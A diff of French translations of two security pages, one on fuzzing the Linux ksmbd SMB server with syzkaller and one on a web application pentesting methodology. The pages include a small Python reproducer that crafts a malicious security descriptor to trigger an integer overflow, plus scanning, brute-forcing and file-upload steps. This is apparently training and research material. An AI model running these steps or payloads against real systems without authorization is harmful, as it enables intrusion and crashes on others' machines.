|
||||
- Les options exactes dépendent des userspace ksmbd de votre distro (ksmbd-tools). Consultez /etc/ksmbd/ksmbd.conf et les sections par-partage pour activer durable handles, leases, oplocks et VFS objects.
|
||||
- Multi-channel et durable handles modifient les machines d'état et les durées de vie, révélant souvent des bugs UAF/refcount/OOB sous concurrence.
|
||||
|
||||
---
|
||||
|
||||
## Ajustements d'authentification et de rate-limiting pour le fuzzing
|
||||
SMB3 nécessite une session valide. Implémenter Kerberos dans les harnesses ajoute de la complexité, donc préférez NTLM/guest pour le fuzzing :
|
||||
## Authentification et ajustements de rate-limiting pour le Fuzzing
|
||||
SMB3 nécessite une session valide. Implémenter Kerberos dans les harnais ajoute de la complexité, donc préférez NTLM/guest pour le fuzzing :
|
||||
|
||||
- Autorisez guest access et configurez map to guest = bad user afin que les utilisateurs inconnus retombent sur GUEST.
|
||||
- Acceptez NTLMv2 (patch policy si désactivé). Cela simplifie le handshake tout en exerçant les chemins de code SMB3.
|
||||
- Patcherez les strict credit checks lors d'expérimentations (les durcissements post-hardening pour CVE-2024-50285 ont rendu le crédit simultané plus strict). Sinon, les rate-limits peuvent rejeter des séquences fuzzées trop tôt.
|
||||
- Augmentez le nombre max connections (par ex. à 65536) pour éviter les rejets précoces pendant un fuzzing à haut débit.
|
||||
- Autorisez l'accès guest et définissez map to guest = bad user afin que les utilisateurs inconnus retombent sur GUEST.
|
||||
- Acceptez NTLMv2 (patcher la policy si désactivée). Cela maintient la poignée de main simple tout en exerçant les chemins de code SMB3.
|
||||
- Patcherez les contrôles stricts de credits lors des expérimentations (le durcissement postérieur pour CVE-2024-50285 a rendu le crédit pour opérations simultanées plus strict). Sinon, les rate-limits peuvent rejeter des séquences fuzzées trop tôt.
|
||||
- Augmentez le max connections (p. ex. à 65536) pour éviter des rejets précoces lors d'un fuzzing à haut débit.
|
||||
|
||||
Attention : ces assouplissements facilitent uniquement le fuzzing. Ne déployez pas ces réglages en production.
|
||||
Attention : Ces relaxations servent uniquement à faciliter le fuzzing. Ne pas déployer ces réglages en production.
|
||||
|
||||
---
|
||||
|
||||
## Stateful Harness : extraire des ressources et enchaîner des requêtes
|
||||
SMB est stateful : de nombreuses requêtes dépendent d'identifiants renvoyés par des réponses antérieures (SessionId, TreeID, FileID pairs). Votre harness doit parser les réponses et réutiliser les IDs au sein du même programme pour atteindre des handlers profonds (par ex., smb2_create → smb2_ioctl → smb2_close).
|
||||
## Harnais à états : Extraire des ressources et enchaîner des requêtes
|
||||
SMB est stateful : beaucoup de requêtes dépendent d'identifiants retournés par des réponses précédentes (SessionId, TreeID, paires FileID). Votre harnais doit parser les réponses et réutiliser les IDs dans le même programme pour atteindre des handlers profonds (p. ex., smb2_create → smb2_ioctl → smb2_close).
|
||||
|
||||
Exemple d'extrait pour traiter un buffer de réponse (en sautant les +4B NetBIOS PDU length) et mettre en cache les IDs :
|
||||
Exemple d'extrait pour traiter un buffer de réponse (en sautant les +4B de longueur NetBIOS PDU) et mettre en cache les IDs :
|
||||
```c
|
||||
// process response. does not contain +4B PDU length
|
||||
void process_buffer(int msg_no, const char *buffer, size_t received) {
|
||||
@ -76,13 +76,13 @@ break;
|
||||
}
|
||||
```
|
||||
Conseils
|
||||
- Gardez un seul processus fuzzer partageant l'authentification/état : meilleure stabilité et couverture avec les tables globales/de session de ksmbd. syzkaller injecte quand même de la concurrence en marquant les ops async, et réexécute en interne.
|
||||
- Le reset_acc_state expérimental de syzkaller peut réinitialiser l'état global mais peut entraîner un fort ralentissement. Privilégiez la stabilité et concentrez-vous sur le fuzzing.
|
||||
- Gardez un seul processus fuzzer partageant l'authentification/état : meilleure stabilité et couverture avec les tables globales/session de ksmbd. syzkaller injecte néanmoins de la concurrence en marquant les ops comme async, réexécution en interne.
|
||||
- L'option expérimentale reset_acc_state de syzkaller peut réinitialiser l'état global mais introduit un ralentissement important. Privilégiez la stabilité et concentrez-vous sur le fuzzing.
|
||||
|
||||
---
|
||||
|
||||
## Génération SMB2 dirigée par une grammaire (PDUs valides)
|
||||
Convertissez les structures SMB2 des Microsoft Open Specifications en une grammaire pour fuzzer afin que votre générateur produise des PDUs structurellement valides, qui atteignent systématiquement les dispatchers et les IOCTL handlers.
|
||||
## Génération SMB2 pilotée par une grammaire (PDUs valides)
|
||||
Traduisez les structures SMB2 des Microsoft Open Specifications en une grammaire pour fuzzer afin que votre générateur produise des PDUs structurellement valides, qui atteignent systématiquement les dispatchers et les IOCTL handlers.
|
||||
|
||||
Exemple (SMB2 IOCTL request):
|
||||
```
|
||||
@ -107,12 +107,12 @@ Input array[int8]
|
||||
Output array[int8]
|
||||
} [packed]
|
||||
```
|
||||
Ce style impose des tailles/décalages de structure corrects et améliore considérablement la couverture par rapport à la mutation aveugle.
|
||||
Ce style force des tailles/décalages de structure corrects et améliore considérablement la couverture par rapport à la mutation aveugle.
|
||||
|
||||
---
|
||||
|
||||
## Fuzzing dirigé avec focus_areas
|
||||
Utilisez le paramètre expérimental focus_areas de syzkaller pour donner plus de poids à des fonctions/fichiers spécifiques qui ont actuellement une faible couverture. Exemple JSON:
|
||||
Utilisez syzkaller’s experimental focus_areas pour surpondérer des fonctions/fichiers spécifiques qui ont actuellement une faible couverture. Exemple JSON:
|
||||
```json
|
||||
{
|
||||
"focus_areas": [
|
||||
@ -122,9 +122,9 @@ Utilisez le paramètre expérimental focus_areas de syzkaller pour donner plus d
|
||||
]
|
||||
}
|
||||
```
|
||||
Cela aide à construire des ACLs valides qui atteignent les chemins arithmetic/overflow dans smbacl.c. Par exemple, un Security Descriptor malveillant avec un dacloffset surdimensionné reproduit un integer-overflow.
|
||||
Ceci aide à construire des ACLs valides qui atteignent les chemins arithmetic/overflow dans smbacl.c. Par exemple, un Security Descriptor malveillant avec un dacloffset surdimensionné reproduit un integer-overflow.
|
||||
|
||||
Générateur de reproducer (Python minimal):
|
||||
Script de reproduction (Python minimal):
|
||||
```python
|
||||
def build_sd():
|
||||
import struct
|
||||
@ -143,8 +143,8 @@ return bytes(sd)
|
||||
```
|
||||
---
|
||||
|
||||
## Briser les plateaux de couverture avec ANYBLOB
|
||||
syzkaller's anyTypes (ANYBLOB/ANYRES) permettent de réduire des structures complexes en blobs qui mutent de manière générique. Générez un nouveau corpus à partir de pcaps SMB publiques et convertissez les payloads en programmes syzkaller appelant votre pseudo-syscall (p.ex., syz_ksmbd_send_req):
|
||||
## Briser les plateaux de coverage avec ANYBLOB
|
||||
Les anyTypes de syzkaller (ANYBLOB/ANYRES) permettent de réduire des structures complexes en blobs qui mutent de façon générique. Générez un nouveau corpus à partir de pcaps SMB publics et convertissez les payloads en programmes syzkaller appelant votre pseudo-syscall (e.g., syz_ksmbd_send_req):
|
||||
```bash
|
||||
# Extract SMB payloads to JSON
|
||||
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
|
||||
@ -167,14 +167,14 @@ f.write(
|
||||
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
|
||||
)
|
||||
```
|
||||
Cela permet de démarrer l'exploration et peut déclencher immédiatement des UAFs (p.ex., dans ksmbd_sessions_deregister) tout en augmentant la couverture de quelques pourcents.
|
||||
Cela lance l'exploration et peut immédiatement déclencher des UAFs (p. ex., dans ksmbd_sessions_deregister) tout en augmentant la couverture de quelques pourcents.
|
||||
|
||||
---
|
||||
|
||||
## Sanitizers: Au-delà de KASAN
|
||||
- KASAN reste le détecteur principal pour les bugs liés au tas (UAF/OOB).
|
||||
## Sanitizers : Au-delà de KASAN
|
||||
- KASAN reste le principal détecteur pour les bogues de heap (UAF/OOB).
|
||||
- KCSAN produit souvent des faux positifs ou des data races de faible gravité sur cette cible.
|
||||
- UBSAN/KUBSAN peut détecter des erreurs de bornes déclarées que KASAN manque en raison de la sémantique des indices de tableau. Exemple:
|
||||
- UBSAN/KUBSAN peut détecter des erreurs de bornes déclarées que KASAN manque à cause de la sémantique des indices de tableau. Exemple:
|
||||
```c
|
||||
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
|
||||
struct smb_sid {
|
||||
@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
|
||||
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
|
||||
} __attribute__((packed));
|
||||
```
|
||||
Définir num_subauth = 0 déclenche une lecture OOB dans la structure de sub_auth[-1], détectée par les declared-bounds checks d'UBSAN.
|
||||
Définir num_subauth = 0 déclenche une lecture in-struct OOB de sub_auth[-1], détectée par les declared-bounds checks d'UBSAN.
|
||||
|
||||
---
|
||||
|
||||
## Remarques sur le débit et le parallélisme
|
||||
- Un seul processus fuzzer (auth/state partagé) a tendance à être nettement plus stable pour ksmbd tout en mettant toujours en évidence des races/UAFs grâce à l'async executor interne de syzkaller.
|
||||
- Avec plusieurs VMs, vous pouvez toujours atteindre plusieurs centaines de commandes SMB par seconde au total. Une couverture au niveau des fonctions d'environ ~60% de fs/smb/server et ~70% de smb2pdu.c est atteignable, bien que la couverture des transitions d'état soit sous-représentée par de tels métriques.
|
||||
## Notes sur le débit et le parallélisme
|
||||
- Un seul processus fuzzer (auth/state partagé) a tendance à être significativement plus stable pour ksmbd et met néanmoins au jour des races/UAFs grâce à l'async executor interne de syzkaller.
|
||||
- Avec plusieurs VM, vous pouvez toujours atteindre des centaines de commandes SMB par seconde au total. Une couverture au niveau fonction d'environ ~60% de fs/smb/server et ~70% de smb2pdu.c est atteignable, bien que la couverture des transitions d'état soit sous-représentée par de tels métriques.
|
||||
|
||||
---
|
||||
|
||||
## Liste de contrôle pratique
|
||||
- Activer durable handles, leases, multi-channel, oplocks et VFS objects dans ksmbd.
|
||||
- Autoriser guest et map-to-guest ; accepter NTLMv2. Supprimer les credit limits et augmenter le max connections pour la stabilité du fuzzer.
|
||||
- Construire un harness stateful qui met en cache SessionId/TreeID/FileIDs et enchaîne create → ioctl → close.
|
||||
- Utiliser une grammaire pour SMB2 PDUs afin de maintenir la validité structurelle.
|
||||
- Utiliser focus_areas pour surpondérer les fonctions faiblement couvertes (par ex., des chemins dans smbacl.c comme smb_check_perm_dacl).
|
||||
- Seed avec ANYBLOB provenant de vrais pcaps pour casser les plateaux ; packer les seeds avec syz-db pour réutilisation.
|
||||
- Lancer avec KASAN + UBSAN ; trier attentivement les rapports declared-bounds d'UBSAN.
|
||||
## Checklist pratique
|
||||
- Activez durable handles, leases, multi-channel, oplocks et VFS objects dans ksmbd.
|
||||
- Autorisez guest et map-to-guest ; acceptez NTLMv2. Éliminez les credit limits et augmentez le max connections pour la stabilité du fuzzer.
|
||||
- Construisez un stateful harness qui met en cache SessionId/TreeID/FileIDs et enchaîne create → ioctl → close.
|
||||
- Utilisez une grammar pour SMB2 PDUs afin de maintenir la validité structurelle.
|
||||
- Utilisez focus_areas pour surpondérer les fonctions faiblement couvertes (par ex., chemins de smbacl.c comme smb_check_perm_dacl).
|
||||
- Grainez avec ANYBLOB tiré de pcaps réels pour franchir les plateaux ; packez les seeds avec syz-db pour réutilisation.
|
||||
- Exécutez avec KASAN + UBSAN ; triez soigneusement les rapports declared-bounds d'UBSAN.
|
||||
|
||||
---
|
||||
|
||||
@ -214,6 +214,6 @@ Définir num_subauth = 0 déclenche une lecture OOB dans la structure de sub_aut
|
||||
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
|
||||
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
|
||||
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
|
||||
- Lecture de fond: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
|
||||
- Lecture de fond: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; notes syzkaller de Dongliang Mu
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,12 +1,12 @@
|
||||
# 80,443 - Méthodologie de pentesting Web
|
||||
# 80,443 - Méthodologie de Pentesting Web
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
## Infos de base
|
||||
|
||||
Le service web est le service le plus **courant et étendu** et de nombreux **types différents de vulnérabilités** existent.
|
||||
Le service web est le service le plus **courant et étendu** et de nombreux **types de vulnérabilités** existent.
|
||||
|
||||
Port par défaut : 80 (HTTP), 443 (HTTPS)
|
||||
**Port par défaut :** 80 (HTTP), 443 (HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
@ -17,7 +17,7 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Conseils pour Web API
|
||||
### Guide des API Web
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -26,36 +26,36 @@ web-api-pentesting.md
|
||||
|
||||
## Résumé de la méthodologie
|
||||
|
||||
> Dans cette méthodologie, nous supposerons que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert(e) avec un serveur web indéterminé dans le scope.
|
||||
> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Donc, vous devez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le scope.
|
||||
|
||||
- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Cherchez des **tricks** à garder en tête pendant le reste du test si vous parvenez à identifier la tech.
|
||||
- [ ] Existe-t-il une **known vulnerability** pour la version de la technologie ?
|
||||
- [ ] Utilisez-vous une **well known tech** ? Un **useful trick** pour extraire plus d'informations ?
|
||||
- [ ] Y a-t-il un **specialised scanner** à lancer (comme wpscan) ?
|
||||
- [ ] Lancez des **general purposes scanners**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intéressantes.
|
||||
- [ ] Commencez par les **initial checks** : **robots**, **sitemap**, erreur **404** et **SSL/TLS scan** (si HTTPS).
|
||||
- [ ] Commencez le **spidering** de la page web : c'est le moment de **trouver** tous les **fichiers, dossiers** et **paramètres utilisés.** Vérifiez aussi les **trouvailles particulières**.
|
||||
- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être spidered._
|
||||
- [ ] **Directory Brute-Forcing** : Essayez de brute-forcer tous les dossiers découverts en recherchant de nouveaux **fichiers** et **répertoires**.
|
||||
- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être Brute-Forced._
|
||||
- [ ] **Backups checking** : Testez si vous pouvez trouver des **backups** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
|
||||
- [ ] **Brute-Force parameters** : Essayez de **trouver des paramètres cachés**.
|
||||
- [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant **user input**, vérifiez tous les types de **vulnerabilities** qui leur sont liés.
|
||||
- [ ] [Suivez cette checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Cherchez des **trucs** à garder en tête pendant le reste du test si vous parvenez à identifier la tech.
|
||||
- [ ] Existe-t-il une **vulnérabilité connue** pour la version de la technologie ?
|
||||
- [ ] Utilisez-vous une **technologie bien connue** ? Une **astuce utile** pour extraire plus d'informations ?
|
||||
- [ ] Y a-t-il un **scanner spécialisé** à exécuter (comme wpscan) ?
|
||||
- [ ] Lancez des **scanners à usage général**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intéressantes.
|
||||
- [ ] Commencez par les **vérifications initiales** : **robots**, **sitemap**, erreur **404** et **SSL/TLS scan** (si HTTPS).
|
||||
- [ ] Commencez le **spidering** de la page web : il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres utilisés.** Vérifiez aussi les **trouvailles particulières**.
|
||||
- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors de brute-forcing ou de spidering, il doit être spidered._
|
||||
- [ ] **Directory Brute-Forcing**: Essayez de brute-forcer tous les dossiers découverts pour rechercher de nouveaux **fichiers** et **répertoires**.
|
||||
- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors de brute-forcing ou de spidering, il doit être Brute-Forced._
|
||||
- [ ] **Backups checking**: Testez si vous pouvez trouver des **backups** des **fichiers découverts** en ajoutant des extensions de backup courantes.
|
||||
- [ ] **Brute-Force parameters**: Essayez de **trouver des paramètres cachés**.
|
||||
- [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant des **entrées utilisateur**, vérifiez tous les types de **vulnérabilités** qui leur sont liés.
|
||||
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Version du serveur (Vulnérable ?)
|
||||
|
||||
### Identification
|
||||
### Identifier
|
||||
|
||||
Vérifiez s'il existe des **known vulnerabilities** pour la version du serveur en cours d'exécution.\
|
||||
Les **HTTP headers and cookies of the response** peuvent être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. Un **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech** ](https://github.com/ShielderSec/webtech) ou [**https://builtwith.com/**](https://builtwith.com) peuvent également être utiles :
|
||||
Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\
|
||||
Les **en-têtes HTTP et les cookies de la réponse** peuvent être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Rechercher **pour** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
Rechercher **les** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Vérifier s'il y a un WAF**
|
||||
|
||||
@ -63,7 +63,7 @@ Rechercher **pour** [**vulnerabilities of the web application** **version**](../
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Astuces techniques Web
|
||||
### Astuces pour les technologies Web
|
||||
|
||||
Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **technologies** bien connues utilisées :
|
||||
|
||||
@ -102,25 +102,26 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
- [**Sitecore**](sitecore/index.html)
|
||||
|
||||
_Prenez en compte que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\
|
||||
Si l'application web utilise l'une des **technologies/plateformes listées ci‑dessus** ou **une autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faites‑m'en part !).
|
||||
_Tenez compte que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\
|
||||
Si l'application web utilise une **tech/plateforme** bien connue listée ci-dessus ou **toute autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et informez-moi !).
|
||||
|
||||
### Revue du code source
|
||||
### Source Code Review
|
||||
|
||||
Si le **code source** de l'application est disponible sur **github**, en plus d'effectuer par vous‑même un White box test de l'application, il existe **des informations** qui pourraient être **utiles** pour le présent **Black-Box testing** :
|
||||
Si le **code source** de l'application est disponible sur **github**, en plus d'effectuer par **vous-même un White box test** de l'application, il existe **des informations** qui pourraient être **utiles** pour le **Black-Box testing** en cours :
|
||||
|
||||
- Y a-t-il un **Change-log or Readme or Version** file ou tout élément avec des **version info accessible** via le web ?
|
||||
- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)?
|
||||
- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used?
|
||||
- Is it using any **master key** for encrypting something? Which **algorithm** is used?
|
||||
- Can you **access any of these files** exploiting some vulnerability?
|
||||
- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)?
|
||||
|
||||
- Existe‑t‑il un fichier **Change-log or Readme or Version** ou autre contenant des **version info accessible** via le web ?
|
||||
- Comment et où sont sauvegardées les **credentials** ? Y a‑t‑il un (fichier accessible ?) **file** avec des credentials (usernames or passwords) ?
|
||||
- Les **passwords** sont‑ils en **plain text**, **encrypted** ou quel **hashing algorithm** est utilisé ?
|
||||
- Utilise‑t‑elle une **master key** pour chiffrer quelque chose ? Quel **algorithm** est utilisé ?
|
||||
- Pouvez‑vous **access any of these files** en exploitant une vulnérabilité ?
|
||||
- Y a‑t‑il des **informations intéressantes dans le github** (issues résolues ou non) ? Ou dans l'**commit history** (peut‑être un **password** introduit dans un ancien commit) ?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Scanners automatiques
|
||||
### Automatic scanners
|
||||
|
||||
#### Scanners automatiques à usage général
|
||||
```bash
|
||||
@ -134,12 +135,12 @@ nuclei -ut && nuclei -target <URL>
|
||||
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
|
||||
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
|
||||
```
|
||||
#### Scanners CMS
|
||||
#### Scanners de CMS
|
||||
|
||||
Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, vous pourriez y trouver quelque chose d'intéressant :
|
||||
Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, il se peut que quelque chose d'intéressant soit trouvé :
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites web pour détecter des problèmes de sécurité. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites web pour des failles de sécurité. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -149,45 +150,45 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> À ce stade vous devriez déjà disposer de certaines informations sur le serveur web utilisé par le client (si des données sont fournies) et de quelques astuces à garder en tête pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et exécuté un scanner.
|
||||
> À ce stade, vous devriez déjà disposer de certaines informations sur le serveur web utilisé par le client (si des données sont fournies) et de quelques astuces à garder à l'esprit pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et lancé un scanner.
|
||||
|
||||
## Step-by-step Web Application Discovery
|
||||
## Découverte étape par étape de l'application Web
|
||||
|
||||
> From this point we are going to start interacting with the web application.
|
||||
> À partir de ce point, nous allons commencer à interagir avec l'application Web.
|
||||
|
||||
### Initial checks
|
||||
### Vérifications initiales
|
||||
|
||||
**Default pages with interesting info:**
|
||||
**Pages par défaut contenant des informations intéressantes :**
|
||||
|
||||
- /robots.txt
|
||||
- /sitemap.xml
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Check also comments in the main and secondary pages.
|
||||
- Vérifiez également les commentaires dans les pages principales et secondaires.
|
||||
|
||||
**Forcing errors**
|
||||
**Forcer des erreurs**
|
||||
|
||||
Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
|
||||
Les serveurs web peuvent **se comporter de manière inattendue** lorsque des données étranges leur sont envoyées. Cela peut ouvrir des **vulnérabilités** ou provoquer une **disclosure sensitive information**.
|
||||
|
||||
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
|
||||
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
|
||||
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
|
||||
- Accédez à des **fake pages** comme /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Ajoutez "\[]", "]]", et "\[["** dans les **valeurs des cookies** et les **valeurs des paramètres** pour créer des erreurs
|
||||
- Générez une erreur en donnant comme entrée **`/~randomthing/%s`** à la **fin** de l'**URL**
|
||||
- Essayez différents **verbes HTTP** comme PATCH, DEBUG ou incorrects comme FAKE
|
||||
|
||||
#### **Vérifiez si vous pouvez téléverser des fichiers (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
|
||||
Si vous constatez que **WebDav** est **activé** mais que vous n'avez pas suffisamment de permissions pour **téléverser des fichiers** dans le dossier racine, essayez de :
|
||||
|
||||
- **Brute Force** des identifiants
|
||||
- **Téléversez des fichiers** via WebDav dans les **autres** **dossiers trouvés** sur la page web. Vous pourriez avoir la permission de téléverser des fichiers dans d'autres dossiers.
|
||||
- **Brute Force** les identifiants
|
||||
- **Téléverser des fichiers** via WebDav dans le **reste** des **dossiers trouvés** à l'intérieur de la page web. Vous pouvez avoir la permission de téléverser des fichiers dans d'autres dossiers.
|
||||
|
||||
### **Vulnérabilités SSL/TLS**
|
||||
|
||||
- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM**
|
||||
- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability.
|
||||
- Si l'application **n'impose pas l'utilisation de HTTPS** dans une quelconque partie, alors elle est **vulnérable aux attaques MitM**
|
||||
- Si l'application **envoie des données sensibles (mots de passe) via HTTP**, c'est une vulnérabilité élevée.
|
||||
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
|
||||
Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes Bug Bounty, probablement ce type de vulnérabilités ne sera pas accepté) et utilisez [**a2sv**](https://github.com/hahwul/a2sv) pour revérifier les vulnérabilités:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -196,60 +197,60 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul
|
||||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Informations sur les vulnérabilités SSL/TLS :
|
||||
Information about SSL/TLS vulnerabilities:
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
Lancez une sorte de **spider** sur le web. L'objectif du spider est de **trouver autant de chemins que possible** depuis l'application testée. Par conséquent, web crawling et les sources externes doivent être utilisés pour trouver le plus de chemins valides possible.
|
||||
Lancez une sorte de **spider** sur le site web. L'objectif du spider est de **trouver autant de chemins que possible** à partir de l'application testée. Pour cela, le crawling et les sources externes doivent être utilisés afin de découvrir le plus de chemins valides possible.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder dans les fichiers JS et des sources externes (Archive.org, CommonCrawl.org, VirusTotal.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, avec LinkFider pour les fichiers JS et Archive.org comme source externe.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, indique aussi les "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactif HTML spider. Cherche aussi dans Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Cet outil n'est pas un spider mais peut être utile. Vous pouvez indiquer un fichier avec hosts et un fichier avec paths et meg récupérera chaque path sur chaque host et sauvegardera la réponse.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider avec capacités de rendu JS. Cependant, il semble non maintenu, la version précompilée est vieille et le code courant ne compile pas.
|
||||
